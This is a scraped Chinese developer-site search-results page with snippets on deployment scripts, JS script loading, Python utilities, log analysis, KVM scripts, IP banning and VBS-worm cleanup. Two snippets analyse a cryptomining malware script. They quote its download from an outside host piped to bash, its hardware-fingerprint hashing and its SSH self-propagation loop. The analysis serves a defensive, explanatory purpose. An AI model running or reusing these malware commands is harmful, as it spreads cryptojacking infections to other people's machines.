首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

shell脚本实战-编写一个系统发布脚本

于是决定使用shell写一个自动发布脚本,既可以更熟悉发布流程,也可以学习shell语法。...这个密钥是在主机A中生成,生成密钥命令为: ssh-keygen -t rsa 我们在 ~/.ssh目录下就可以找到id_rsa.pub 将id_rsa.pub中内容拷贝到gitlab中即可...发布脚本 发布脚本主要功能见下图: 这个脚本主要要有:拉取代码,编译成jar,备份原程序,分发远程序,启动程序等功能。...因为有测试环境和正式环境,在执行脚本时候会在后面带一个参数pro或test,代表发布到不同环境。 首先我们在两个环境各自相关地址: 当输入变量参数为test时,走test路径。...nohup xxx >/dev/null 2>&1 & 以上一个简单发布脚本就实现了。 这里是后端实现,前端也可以用同样脚本,只要将编译命令改成前端编译命令即可。

53720
您找到你想要的搜索结果了吗?
是的
没有找到

对JS延迟异步脚本思考

红宝书第四版出来后,也是花了很多时间去看。对于延迟脚本,自己也是做了一个实验,写下了这篇总结 什么是延迟脚本?...,发现defer永远都是最后下载) image.png async和defer两种模式,区别在于: async是告诉浏览器,它不会操作dom,可以不必等到它下载解析完后再加载页面,也不用等它执行完后再执行其他脚本...script标签内容解析和页面渲染 他们都会在浏览器load事件前执行,但是不保证是在DomContentLoad事件前还是后执行 defer肯定在async后面执行,从实验结果和书上对它们对解析来看...影响多个异步脚本执行顺序因素 脚本文件大小 网络传输因素 特殊情况 当所有的脚本文件都很小很小时候,结果会在很大概率稳定在 image.png 使用注意点 异步推迟脚本执行顺序并不稳定,所有尽量只有一个...使用异步推迟脚本时,应该考虑什么场景才使用,而不是滥用它 写在最后 纸上得来终觉浅,欲知此事要躬行,写得也不一定对,如果你有问题或者更好答案可以在下面参与讨论,始终认为有争议和反对声音是好事

1.2K21

凶残挖矿脚本,奴役数千机器!

大家好,又见面了,是你们朋友全栈君。 本文转载自不正经程序员 温馨提示:本文中出现命令和脚本,不要在自家服务器上随便运行,除非你知道自己在做什么。...logic|bash 首先输出了一个全局环境变量,然后下载一个png文件 狡猾的人都喜欢带面具,而狡猾脚本都喜欢改后缀。看起来是个png,但它是个脚本。 2. 脚本怎么安装?...接下来摘下它伪装,看一下它真面目。 curl http://t.bb3u9.com/ln/core.png\?logic > core.png 查看core.png文件中内容。...*'|sed 's/://g')|sha256sum|awk '{print $1}'` dmidecode命令,可以获取linux硬件相关信息,会输出非常多内容。...做同样处理后获得另外一个串。这段脚本稍微有点问题,因为ifconfig输出经常会改格式,但不影响计算hash。 sha256sum就是算出这样一个hash,然后赋值给guid。比如下面这个。

57740

一些用得到 Python 脚本

下面的python脚本有一部分是百度然后修改,一部分是自己写,如果以后有什么新脚本或者这些脚本有修改也会在这里更新,这些源码放在这里仅以备份为目的把图片上传到 sm.ms 图床...情况下批量下载图片picdl.py# coding=utf-8 import requests filepath = 'E:/acg/acg/' #图片存放地址i = 1 #将图片URL存放在 E:...def photo_classify(files_path): # 读取文件夹中所有文件名称 files_list = os.listdir(files_path) # 循环文件夹中所有文件...def photo_classify(files_path): # 读取文件夹中所有文件名称 files_list = os.listdir(files_path) # 循环文件夹中所有文件...这里有最专业开发者&客户,能与产品人员亲密接触,专有的问题&需求反馈渠道,有一群志同道合兄弟姐妹。来加入属于我们开发者社群吧 。

59350

日志分析之道 | 简单Web日志分析脚本

那么分析方法大致可分为三种: 1. 基于时间:将请求url按时间段分类,那么我们根据每个时间段url数量及攻击数量就可以大致判断出哪个时间段有apt类型攻击,哪个时间段是扫描器行为; 2....Iis日志大概是这样,用pythonreadlines然后切割出来就好了。 这个url.py加了个功能把ip访问量及url访问量排序输出出来所以有点慢,=.=没办法野路子哪里会什么算法。...main.py放在一个目录下就行了 总结 脚本大概说了一遍,说说不足及怎么分析吧。...具体分析:都是用脚本跑一遍,然后按ip来看会比较方便些,而这里缺少机器识别,单独写了一个简易机器识别的东西,其实要实现很简单,把全部日志按时间,url,ip扔进一个列表里统计一下相同时间相同ip就可以了...是识别短信轰炸,后期还会渐渐完善,如果有能力就把它结合django来弄成图形化,毕竟脚本始终是脚本,终究听着不好听。 效果如下 ? 具体规则有待完善。

1.5K50

凶残挖矿脚本,奴役数千机器!

logic|bash 首先输出了一个全局环境变量,然后下载一个png文件 狡猾的人都喜欢带面具,而狡猾脚本都喜欢改后缀。看起来是个png,但它是个脚本。 2. 脚本怎么安装?...接下来摘下它伪装,看一下它真面目。 curl http://t.bb3u9.com/ln/core.png\?logic > core.png 查看core.png文件中内容。...*'|sed 's/://g')|sha256sum|awk '{print $1}'` dmidecode命令,可以获取linux硬件相关信息,会输出非常多内容。...做同样处理后获得另外一个串。这段脚本稍微有点问题,因为ifconfig输出经常会改格式,但不影响计算hash。 sha256sum就是算出这样一个hash,然后赋值给guid。比如下面这个。...sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &' & done fi fi done 这份脚本,还会病毒式传播。

1.5K40

电脑打开提示windows脚本宿主错误解决方案

具体症状为:电脑打不开或者提示windows脚本宿主错误;各分区下存在autorun.inf以及随机数字为文件名vbs文件,无法彻底删除;文件关联被修改;插入U盘自动感染等。...打开搜索,删除各分区根目录下vbs文件和autorun.inf,删除系统分区windows文件夹下随机数字文件名vbs文件。 3....按win+r快捷键输入msconfig,切到启动选项卡,去掉随机数字文件名vbs启动项。 4. win+r输regedit,打开注册表,搜索随机数字文件名vbs文件。...(文件名看电脑各分区下vbs文件即可)将找到所有键值里双引号内内容以及双引号删除(应为一个vbs文件路径)。 5. 完成以上步骤以后,发现电脑打不开,很多常见文件格式无法打开。

72220

开发kvm虚拟化虚拟机批量生产脚本

脚本下载地址:http://down.51cto.com/data/478845 下载后放在到/root目录下面,解压 tar –jxvf virt10_auto_create.tar.gz...安装需要组件: 操作系统尽量升级到最新补丁 yum update –y 安装kvm虚拟化相关组件 yum groupinstall Virtualization yum groupinstall...几个关键字注意事项: 1) vm关键字表示生成基于文件虚拟机,默认是qcow2格式 2) vmlvm关键字表示生成基于lv虚拟机,需要有一个vg,默认vg名为datavg,可以通过—vg...3) url关键字指定在那个路径下载虚拟机镜像,可以配置一个ftp或者http,脚本会自动到指定路径查找虚拟机镜像,另外需要准备一个虚拟机镜像加.md5文件,虚拟机镜像下载后,会自动对比md5值,文件内容如下...运行脚本,批量生成虚拟机 ?

89540

网站被攻击了,运维大佬给了我自动封禁ip脚本

分享出来给大家,万一以后用得着呢~ 故事背景 一个小网站最近总是收到云监控报警,一个部署在4核8G单机上小网站。 查了log发现,是被流量攻击了。 招谁惹谁了呀,烦死了。...实现思路 首先,小网站访问量不高,如果某位大哥一天访问超过10次就觉得有鬼了。 除非你是在爬数据~ 还是你就是吃饱撑!...ip 编写定时任务,每10分钟执行一次封禁ip脚本 思路是如此清晰,奈何并不擅长编写shell脚本,于是请教了群里大佬,最终实现如下: 具体实现 1..../bin/bash #此脚本⽤于⾃动分割Nginx⽇志,包括access.log #每天00:00执⾏此脚本将前⼀天access.log重命名为access-xxxx-xx-xx.log格式,并重新打开.../bin/bash logdir=/data/logs/nginx/access.log #nginx访问日志文件路径 port=443 #循环遍历日志文件取出访问量大于100ip(忽略自己本地ip)

71941

「懒惰美德」用 python 写了个自动生成给文档生成索引脚本

想到一个需求:能不能在每新增一条题目的笔记后,利用程序自动地将其归类、创建索引?用 Python 实现一个入门级脚本,涉及到文件读写、命令行参数、数组操作应用等知识点,在此分享给朋友们。.../vsc_leetcode/12.整数转罗马数字.cpp) 而我## 归档下面还什么都没有,希望脚本可以自动帮我在## 归档下创建三级目录:双指针法、搜索、匹配、字符串,并且将对应题目放到下面去...左边是脚本处理过Markdown文件;右边是渲染后效果 如上,不但新增了三级标题### 匹配、### 字符串等,还为三级标题创建了目录索引链接。 最终程序实现如下图。...Python 与脚本文件 这样就要派上我们 Python 出场了。觉得这才是 Python 老本行:脚本文件。...,在命令行执行该脚本,则文档自动规整。

1.2K20

用ChatGPT写了一个简单Python自动化测试脚本

0 前言有时候因为要跑很多rtl仿真,而现有的资源比较有限,每次都需要等一批rtl仿真结束后,才可以执行下一批,尤其是碰到最末时候,一批rtl仿真结束,要是在打开电脑去run下一批,确实挺不方便一度想着要是有个脚本就好了...,奈何自己Python确实不行,刚好最近有大火ChatGPT,就用ChatGPT辅助写了个脚本1 应用场景和思路介绍每个人仿真资源是有限,就比如分配给我资源是10个,那么一次最多可以丢10个rtl...仿真,空闲资源数量可以通过shell cmd打印出来现在需要情景是,一次丢多个rtl仿真,但前后只需要丢两次rtl仿真,因此,可以在第一次丢rtl仿真后,运行脚本,等第一次丢rtl仿真完成后,...自动丢第二次rtl仿真因此大题思路如下:(均基于丢完第一次rtl仿真)1、执行shell cmd,并将内容写入一个文档中2、 读取文档内容,根据正则表达式,提取当前占用资源数值3、比对该数值与设定阈值大小..., int型excute_cmd = '符合条件后执行shell指令'sleep_time = #每隔多久检查一次, int型,单位:小时find_str = r'指定查找内容'#定义子函数def

36800

抗原试剂盒也卷起来了,塑料袋不会影响房价吧?

于是,今天就在网上看到了各种有趣接收盒。 是不是很精致,很有趣呢?你觉得这就完了? 后来DD看到网友传了一段聊天记录,又差点把笑死。。。 什么?还能内卷?...但这还好,下面这个直接破防了... 更有趣是,这之后还有有网友称:放个塑料袋应该不会影响小区房价吧? 这几天说实话,各种网传消息各种辟谣,各种情绪不断切换,搞得真累。...突然这一波算是轻松点了,感谢“冬虫夏草” 最后,来一发同学小区热血视频,希望疫情早日退散  因为好想去上班,实在太怀念在办公室写Bug日子 ------ 我们创建了一个高质量技术交流群...另外,如果你最近想跳槽的话,年前花了2周时间收集了一波大厂面经,节后准备跳槽可以点击这里领取! 推荐阅读 结棍!Spring 支持 PHP 了!?...如果你还没什么方向,可以先关注,这里会经常分享一些前沿资讯,帮你积累弯道超车资本。 点击阅读原文,领取2022最新10000T学习资料

48550

是怎样用Shell脚本完成钉钉机器人消息推送

背景需求 想应该有一些人和我有一样需求,比如需要自动推送消息到钉钉 喜欢shell,是因为在Linux环境下,几乎可以完成所有的事儿,而且依赖问题几乎可以忽略不计(一些特殊环境除外)。...所从这个角度出发,大部分代码都会优选Shell,当shell无法完成时才会借助第三方语言来辅助,比如:PHP、Python等 ---- 关于钉钉机器人 这里所讲记得钉钉机器人是指钉钉群聊自定义机器人...,那么那一串key您也需要拷贝下来,更详细加签方式请参考官方文档 脚本调试给钉钉机器人Webhook推送消息 基本工作做差不多了,就可以调试了脚本了,官方提供多种语言加签方式,但是没有提供shell...方式,所以如果您不是用shell的话可以参考官方文档,反之则可以直接使用博主脚本。.../bin/bash ## 用于给钉钉机器人推送消息 ## 钉钉机器人消息安全支持 关键词、sign 两种方式,人选其一 ## 从灵活角度来设计,anYun 推荐使用 sign 方式 ## 官方文档没有给

1K30

利用Python3写个爬虫脚本,爬取纯欲小姐姐图片壁纸,隔壁前端兄弟馋哭了,求着脚本

即指html刚加载时,图片是没有的,而后经过json发生有关图片数据,在插入到html里面去,以到底快速打开网页目的,那么问题来了?咱们如何找到加载文件json文件呢?...应该没什么区别,都是搜索关键词意思。...标红处为关键字word编码格式,能够用urllib.parse.unquote()解码,第二个为每次涮新步长,计算为rm+上一个pnui 这里你只要记住咱们要找图片连接为objURL就行,能够经过...直接运行 后面在附两个不太友好源码。容易出错或者爬很慢,你们可以去做优化。...# 观察发现data中存在 需要用到url地址 del info_list[-1] # 每一页图片30张,下标是从 0 开始 29结束 ,那么请求数据要删除第30个即 29为下标结束点

64020

如何使用Docker构建运行时间较长脚本

大部分独立操作都可以撤销,例如将文件移动到其它地方后,你可以将文件恢复到原来位置。但我们不会通过快照方式来将它恢复到 原始状态。这篇文章将会介绍如何在耗时较长脚本中充分利用快照这一特性。...如果一个文件出现在两个文件系统,那最高层级文件才会显示(该文件其它版本也是存在于层级中不会改变,只是看不到)。...因为Docker不知道这些变化会不会影响到构建。 此外,使用RUN命令要注意,每次运行时它都会导致文件系统有不同更改。在这种情况下,Docker会发现中间镜像并使用它,但是这将是错误。...它似乎看起来很有诱惑力:使用ENV命令来设置所有构建脚本需要环境变量。...相反,: 使用docker export导出内容为tar文件。 创建一个新Dockerfile简单地添加了这个tar文件内容。 产生尺寸尽可能小镜像。

1.4K20

用几行 Python 自动化脚本完美解决掉了小姐姐微信焦虑感

场景 前几天,有一个小姐姐私聊,说她每次打开微信,界面上密密麻麻红点提示让她很惆怅,每一条消息她都要一条条去点击,太费时间且焦虑了 ?...本篇文章将以之前聊过 UiAutomator2 编写自动化脚本,来帮小姐姐解决这个问题 2.准备 在开始实战之前,需要做如下准备: 1、在 PC 端配置 Android 开发环境 2、安装依赖库及应用...利用 WEditor 定位获取底部 Tab 元素 ID,然后利用「 ID + 文本内容 」定位到 Tab 控件,通过设置一个最大超时时间,一直等待查询控件成功为止 def __wait_home_appear...cns', text='发现').wait(timeout=20) print('首页加载完成') 3、判断是否存在未处理消息 和上面一样,使用 WEditor 获取顶部 Tab 未读消息控件文本内容...如果文本内容不为空,那么代表存在未处理消息;否则,直接退出程序即可 def __has_unread_msg(self): """ 是否有未读消息 :return:

81420

有关RouterOS后渗透研究

经验可以告诉你,你肯定不想重写系统包。 当我知道可以通过系统包来break整个系统时,有点好奇。如果再小心一点呢?如果只是重写包squashfs文件系统呢?会安装吗?...显然,这意味着创建squashfs已经安装。 ? 当然,仅仅安装squashfs还不够,因为创建文件系统实际上包含一个rc脚本,它将在启动时创建后门文件。 ?.../flash/etc/ 如前所述,RouterOS有一个传统/etc/目录,但由于该目录是只读,所以攻击者无法修改或引入脚本。 ? 乍一看,就rc脚本而言,它似乎没有那么有用。.../RESET 这意味着如果/rw/RESET存在,则S08config将在启动时将其作为bash脚本执行。.../pckg/是tmpfs一部分,因此攻击者在/pckg/中创建任何内容,都不会在重启后持续存在,但新rc脚本将在关闭时执行。 这有用吗?

2.2K20

从写下第1个脚本到年薪40W,自动化测试心路历程

那么,接下来就结合自己经历聊一聊是如何在工作中做自动化测试。 图片 职业生涯开始和大多数人一样,刚开始接触都是纯功能界面测试。...那时候正是脚本语言开始流行起来,因为当时项目的原因跟Python结缘,开始用Python语言和Selenium来尝试做自动化测试。...通过不断项目经历和机会,将公司产品前后端自动化测试全部落地实现。那些自动化脚本真正成为了公司资产,每次上线回归带来收益远超出预期。...自动化测试必备Python编程内容 图片 2. Web UI 自动化测试基础内容 3. Web UI 自动化测试实战内容 4. APP UI 自动化测试基础内容 5. ...APP UI 自动化测试实战内容 6. API 接口自动化测试基础内容 7. API 接口自动化测试实战内容  8. CI/CD持续集成专项技术 9.

39130
领券